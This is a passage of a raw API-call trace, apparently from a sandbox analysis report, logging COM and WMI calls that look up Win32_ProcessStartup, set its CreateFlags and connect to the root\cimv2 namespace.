pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0132.216] WbemLocator:IUnknown:Release (This=0x1aa033a0) returned 0x2 [0132.216] WbemLocator:IUnknown:Release (This=0x1aa033e0) returned 0x1 [0132.216] CoTaskMemFree (pv=0x1bbc63e0) [0132.216] WbemLocator:IUnknown:AddRef (This=0x1bbd9b00) returned 0x2 [0132.216] WbemLocator:IUnknown:Release (This=0x1bbd8a00) returned 0x0 [0132.216] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0132.217] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0132.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa033b0) returned 0x0 [0132.217] WbemLocator:IRpcOptions:Query (in: This=0x1aa033b0, pPrx=0x1bbd8a60, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0132.217] WbemLocator:IUnknown:Release (This=0x1aa033b0) returned 0x2 [0132.217] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0132.217] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0132.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbd9b00) returned 0x0 [0132.217] WbemLocator:IUnknown:Release (This=0x1bbd9b00) returned 0x2 [0132.217] SysStringLen (param_1=0x0) returned 0x0 [0132.217] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfa60, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0132.217] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfa60, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0132.218] IWbemServices:GetObject (in: This=0x1bbd9b00, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbd43f0, ppCallResult=0x0) returned 0x0 [0132.220] IWbemClassObject:Get (in: This=0x1bbd43f0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0132.220] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0132.220] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0132.220] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0132.220] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0132.220] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0132.220] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.222] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbd8a00) returned 0x0 [0132.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8a00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0132.222] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8a00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bbbfbe0) returned 0x0 [0132.222] WbemDefPath:IUnknown:Release (This=0x1bbd8a00) returned 0x0 [0132.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bbbfbe0) returned 0x0 [0132.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0132.223] WbemDefPath:IUnknown:AddRef (This=0x1bbbfbe0) returned 0x3 [0132.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0132.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0132.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbd8a20) returned 0x0 [0132.223] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8a20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.223] WbemDefPath:IUnknown:Release (This=0x1bbd8a20) returned 0x3 [0132.223] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0132.223] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0132.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0132.223] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x2 [0132.223] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x1 [0132.224] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0132.224] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0132.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bbbfbe0) returned 0x0 [0132.224] WbemDefPath:IUnknown:AddRef (This=0x1bbbfbe0) returned 0x3 [0132.224] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x2 [0132.224] WbemDefPath:IWbemPath:SetText (This=0x1bbbfbe0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0132.224] IWbemClassObject:Get (in: This=0x1bbd43f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ee8e0*=0, plFlavor=0x27ee8e4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ee8e0*=19, plFlavor=0x27ee8e4*=0) returned 0x0 [0132.224] IWbemClassObject:Get (in: This=0x1bbd43f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ee8e0*=19, plFlavor=0x27ee8e4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ee8e0*=19, plFlavor=0x27ee8e4*=0) returned 0x0 [0132.224] IWbemClassObject:Put (This=0x1bbd43f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0132.224] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0132.224] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.224] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0132.224] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.224] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0132.225] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0132.225] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0132.225] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.226] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbd8bc0) returned 0x0 [0132.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8bc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0132.227] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8bc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bbbfca0) returned 0x0 [0132.227] WbemDefPath:IUnknown:Release (This=0x1bbd8bc0) returned 0x0 [0132.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bbbfca0) returned 0x0 [0132.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0132.227] WbemDefPath:IUnknown:AddRef (This=0x1bbbfca0) returned 0x3 [0132.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0132.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0132.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbd8c00) returned 0x0 [0132.227] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8c00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.227] WbemDefPath:IUnknown:Release (This=0x1bbd8c00) returned 0x3 [0132.228] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0132.228] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0132.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0132.228] WbemDefPath:IUnknown:Release (This=0x1bbbfca0) returned 0x2 [0132.228] WbemDefPath:IUnknown:Release (This=0x1bbbfca0) returned 0x1 [0132.228] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0132.228] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0132.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfca0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bbbfca0) returned 0x0 [0132.228] WbemDefPath:IUnknown:AddRef (This=0x1bbbfca0) returned 0x3 [0132.228] WbemDefPath:IUnknown:Release (This=0x1bbbfca0) returned 0x2 [0132.228] WbemDefPath:IWbemPath:SetText (This=0x1bbbfca0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0132.228] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0132.228] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.228] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0132.228] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0132.228] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0132.228] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.229] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbd8d00) returned 0x0 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0132.230] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbd8d00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbd8d20) returned 0x0 [0132.230] WbemLocator:IUnknown:Release (This=0x1bbd8d00) returned 0x0 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbd8d20) returned 0x0 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0132.230] WbemLocator:IUnknown:AddRef (This=0x1bbd8d20) returned 0x3 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0132.230] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0132.230] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0132.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0132.231] WbemLocator:IUnknown:Release (This=0x1bbd8d20) returned 0x2 [0132.231] WbemLocator:IUnknown:Release (This=0x1bbd8d20) returned 0x1 [0132.231] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0132.231] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0132.231] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8d20, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbd8d20) returned 0x0 [0132.231] WbemLocator:IUnknown:AddRef (This=0x1bbd8d20) returned 0x3 [0132.231] WbemLocator:IUnknown:Release (This=0x1bbd8d20) returned 0x2 [0132.231] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0132.231] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0132.231] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.231] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbd8d40) returned 0x0 [0132.231] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbd8d40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbd9ef0) returned 0x0 [0132.280] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9ef0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa03520) returned 0x0 [0132.280] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03520, pProxy=0x1bbd9ef0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0132.280] 